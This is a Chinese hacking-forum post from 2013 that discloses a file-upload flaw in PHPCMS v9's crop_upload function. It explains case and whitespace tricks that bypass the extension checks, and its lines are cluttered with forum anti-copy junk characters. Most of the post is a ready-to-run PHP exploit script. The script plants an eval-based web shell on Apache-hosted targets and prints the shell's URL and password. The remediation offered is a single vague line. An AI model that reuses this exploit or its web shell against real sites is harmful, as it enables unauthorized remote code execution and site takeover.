找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2042|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
7 T6 }; S5 e2 ~* E( }+ D2 I. t
" U0 S4 H, Z) B5 Y5 S# a- y1 G简要描述:
7 T; o* s  t9 `8 j2 s$ u
" t9 ?2 L% H1 A5 I) O1 wphpcms v9 getshell (apache)& q, u. r0 E) n# u
详细说明:3 b+ Y, T& U! M8 S
# `9 @% m, O' K& V; ~
漏洞文件:phpcms\modules\attachment\attachments.php
4 ~0 w# A1 N6 M6 i* V3 Q# `1 Y
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } - M: }/ h  J1 {9 U6 A% L
后缀检测:phpcms\modules\attachment\functions\global.func.php- T/ ~7 q: W% I8 f& D2 B+ B; P

" ?4 ]: C" I, f; x! V$ T , ]! Q3 `6 `* A* l2 {. e
- K2 r0 o, }9 v; ]8 l# v
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
* w( c* Y. |; ~6 T6 t( O8 D' {' p: R, }/ ~& n9 o
关键函数:3 ]7 e; N+ u! ^/ I$ [

6 K9 w& f& k' f  V
) X9 L5 G! ^. L- P6 A" o* O' Q$ ~( O1 l7 B' w  Q7 t
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
7 |0 Z- N; A, N4 Y
, u4 J1 @' i  }+ u- ^: r  Fileext函数是对文件后缀名的提取。
# ~9 ]4 b1 _; q% E# C; w  ]  q根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php, D7 z  S) I* ]4 U' a
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
1 a2 H9 i9 Z; ?" A6 _7 K: l7 F( i( @我们回到public function crop_upload() 函数中
2 C; Z1 A+ A1 c$ d2 O$ e, t5 Iif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
- l% x) D: i& Q在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
% J: L5 K: m; s( d8 {# `这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。0 S2 C# T( R% R# L
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。$ A6 B7 W+ K3 b" v
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。: U+ A- h4 k* g! _' G. ?
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。. m2 C! @5 ^' f3 Z( ^0 Y( e  Y
漏洞证明:/ b% R" b" a' }2 Z; l' B: K

4 R- \6 i1 G' ^3 W5 ?0 B3 jexp:
) H! M- g: q& A# h
2 f9 Y8 Z& J+ P$ V8 C; z- I" C# t<?php
/ D. u' Q" S1 _7 n! L9 nerror_reporting(E_ERROR);& [( u4 ]2 _' w0 v' C# }
set_time_limit(0);+ t  ~% ?& @! E) E
$pass="ln";% O/ I* x% t9 x8 V( D0 U9 W
print_r(', B8 Q% C5 C' H/ H
+---------------------------------------------------------------------------+
2 ?1 }! Y* A3 Q3 X# X' b& EPHPCms V9 GETSHELL 0DAY
' |& l0 i8 q9 H: H1 s6 Ycode by L.N.8 X0 ^, k* L- F  b! _+ J
$ p) v% L% k4 G9 r1 C  u
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net$ c$ b+ `; w+ \0 ^5 b4 s
+---------------------------------------------------------------------------+4 ]2 b6 C4 @( t
');8 g' e% P4 I" U# }# G/ \" e
if ($argc < 2) {
$ C# {: }9 Z3 c! kprint_r('/ H( m7 V2 `* z* n. z$ L& ^
+---------------------------------------------------------------------------+1 b/ Y) z& c, n( P; i0 {
Usage: php '.$argv[0].' url path0 x+ F: x% h7 r6 N6 `/ d
$ M& N0 ?# \( }" F
Example:9 R, b3 |! @+ E1 \
1.php '.$argv[0].' lanu.sinaapp.com
2 c  C- Y1 I) Q/ I7 H2.php '.$argv[0].' lanu.sinaapp.com /phpcms
1 G6 s3 v2 N6 v0 n6 @+---------------------------------------------------------------------------+8 t1 B" M9 W& _' R' x; R$ T
');4 Y- ]  f/ O1 O
exit;8 A# o% c0 J; k4 \) _- U
}# L9 Q7 I  l# ^( a: S7 n
% F5 b6 b" G5 b4 n, O, r- e2 J( V
$url = $argv[1];
) c9 ?7 p$ N. D( ]$ d$path = $argv[2];$ G4 n5 b3 J: x8 R7 E
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';5 H5 H6 a/ f: y
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
& ~) h4 `, E, L8 ^* I" Q  i# Jif($ret=Create_dir($url,$path))
3 z7 w: S% N! N{# a$ P( v  Z8 q- s' e! q8 q
//echo $ret;0 N  u0 c* t5 B# ~$ p
$pattern = "|Server:[^,]+?|U";4 _6 Z' k! V2 j2 ^
preg_match_all($pattern, $ret, $matches);! i% g5 b- I' f- O. z6 ]
if($matches[0][0])! q9 S! V, k+ F% F+ d  A1 q1 r
{0 e' D9 O/ C2 a* ]7 y4 p1 ]
if(strpos($matches[0][0],'Apache') == false)
- u1 P& }( D; R% J( o+ F* ^0 d{
; H- ^3 o  ~6 i/ lecho "\n亲!此网站不是apache的网站。\n";exit;0 ~$ t  [) q6 V: I" B  p
}
8 @+ d; G' W* F* K& w* F}
$ Q* ~$ C2 A: f! y; [7 [$ret = GetShell($url,$phpshell,$path,$file);! |4 ^5 H9 k* l! h1 |8 `5 i3 t8 G
$pattern = "|http:\/\/[^,]+?\.,?|U";) Y. W' W. ]6 @% z; H5 ]6 ~7 {
preg_match_all($pattern, $ret, $matches);! x! _# _) J7 H9 k
if($matches[0][0])5 @" s5 P0 c5 z; L
{
) }2 \, \& W1 p* }0 z& fecho "\n".'密码为: '.$pass."\n";
& Q' I* a: c4 B) Q5 Recho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
) m# a. v2 a" q3 Y6 E4 y: O}
/ r, k5 N* F' d% }8 Melse
, s; X* ?, c) |( s' U{
2 i; @4 H2 D+ P& t$ d1 {4 r  u$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
; G5 K! \3 j. Z% M: a- ]preg_match_all($pattern, $ret, $matches);
" w2 U1 F% |0 N$ }if($matches[0][0])5 `/ k) J& m: N% ~1 I; Y
{
6 w" @. W, T) D. Xecho "\n".'密码为: '.$pass."\n";5 i5 I$ u/ W" i) }$ q, w$ i& G
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
1 ^% |8 s7 s8 H! s' D}
! l* n5 _  Q) Y2 d" S) Jelse
) D7 x4 x/ L" O' o( ?{  f$ ]: V6 F% G9 K9 E
echo "\r\n没得到!\n";exit;
# S9 n  n. P: [* P}  w7 W: x0 I- r$ J0 C8 L
}* S  i3 t/ ]  ]  q
}8 Y- W2 `! v  e  b; E( M6 V  n

6 h  |, O4 [9 J  Q0 t" t. K. Rfunction GetShell($url,$shell,$path,$js)9 ]  \7 G5 ]% U1 @& F0 k
{
- P+ ?9 D0 w7 _0 {1 I) g8 h$content =$shell;
) n8 b" p+ s, U# {$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
1 a, t$ `% W  @* N# [$data .= "Host: ".$url."\r\n";, I# C7 t# a- ^
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";' p( E+ n1 |% n8 C# b' ]' r7 _) f! m
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";1 ~, `! y$ C4 y+ ^2 }8 R
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
4 w! H5 d# n) k( ]+ T' g$data .= "Connection: close\r\n";; o  M8 E* ^3 G4 Y
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";2 A7 f0 d% w3 Q5 o" F
$data .= $content."\r\n";
/ r, M- Y& F( W; T  A" s$ock=fsockopen($url,80);
. l, F3 H( `" m' O( F0 u+ A8 Vif (!$ock)
' ^8 D8 E7 E4 a1 ]% [  Z7 i% ^{
! h6 Y* m( H" e/ x& Q5 x5 V4 \echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
9 A: l. m3 L8 X}
2 T1 V: Y' \* Z8 Y* W/ ?/ eelse
8 c! l/ \1 ^; j( t: p* M{
; U/ E' W  s/ T! B3 n) ffwrite($ock,$data);
# ~% i+ D1 i2 [6 y3 S! ~$resp = '';
4 ]0 S# B/ U9 A6 T1 ?( owhile (!feof($ock))
5 E' }" R+ R+ w4 \* N{" p( |5 T2 T' o" ?/ H( C1 b3 K
$resp.=fread($ock, 1024);4 k, b9 e1 l# M# b. D6 w
}
; q6 E: b- W- Y' q* T1 D9 {( Sreturn $resp;% k2 p! H+ _! R6 [, x
}9 D3 z4 E  X3 u3 x
}
8 A: v& t; `0 u, a) i% o% p# J2 M$ S1 T: D$ N6 Z0 y
function Create_dir($url,$path='')- V" t. @# q$ A8 @$ [! T5 q$ s
{0 G* @3 r* O* J- a! J( M( j
$content ='I love you';; B" x8 [1 P9 F
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";' n+ y* u9 U9 J7 h$ k5 H; P! _
$data .= "Host: ".$url."\r\n";
% ^7 P* c0 a. \9 N$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";: K6 V2 Q+ p  W0 P* E
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
5 w7 E' m# E" b$ t# u$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
- |$ K) }& j8 A" Z$data .= "Connection: close\r\n";5 c' O- o& w+ o. q) P# @- ~) a' o
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
. K4 W* ~; _7 d6 P- D; F- [7 g4 ]4 C$data .= $content."\r\n";. ?  n4 f* V# D2 {$ k/ Z
$ock=fsockopen($url,80);7 O6 G' \' q, K) S/ h1 R
if (!$ock)
7 K% A) |5 o  C5 M9 z( H# ]{
( d/ ?9 a+ ^: ]$ A  Becho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;/ r& T4 F3 o7 E* c4 W0 o2 P4 `
}
( m( E$ E9 Z' N2 |7 Efwrite($ock,$data);
7 k) y) p/ {" `' T% t8 ?$resp = '';+ i0 D& j% k* ]6 A' y% P
while (!feof($ock))
/ T5 H6 a2 Y' i1 q) D: I7 u) @{
4 m0 U  O/ q! i$ B5 y$resp.=fread($ock, 1024);
1 o# j, V0 Z  \' A2 d( U}
, |( f6 q) U4 R% F+ ^8 p8 n9 ]return $resp;
3 D. X( _) A/ Z( _( i# H8 T}
% m0 \5 F) h, `3 p2 y?> 2 T* i; E7 A# [" i3 @
# f0 Q' `$ _/ J, [; |6 n
修复方案:
" G. P9 ?' p9 m, {' r9 p+ `! X8 g7 J  R/ I2 o' A* s# o3 z* Z, C
过滤过滤再过滤
  v. b  V9 h. [$ h3 k" T' B1 V' p0 y4 @/ q2 B6 w' W0 b2 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表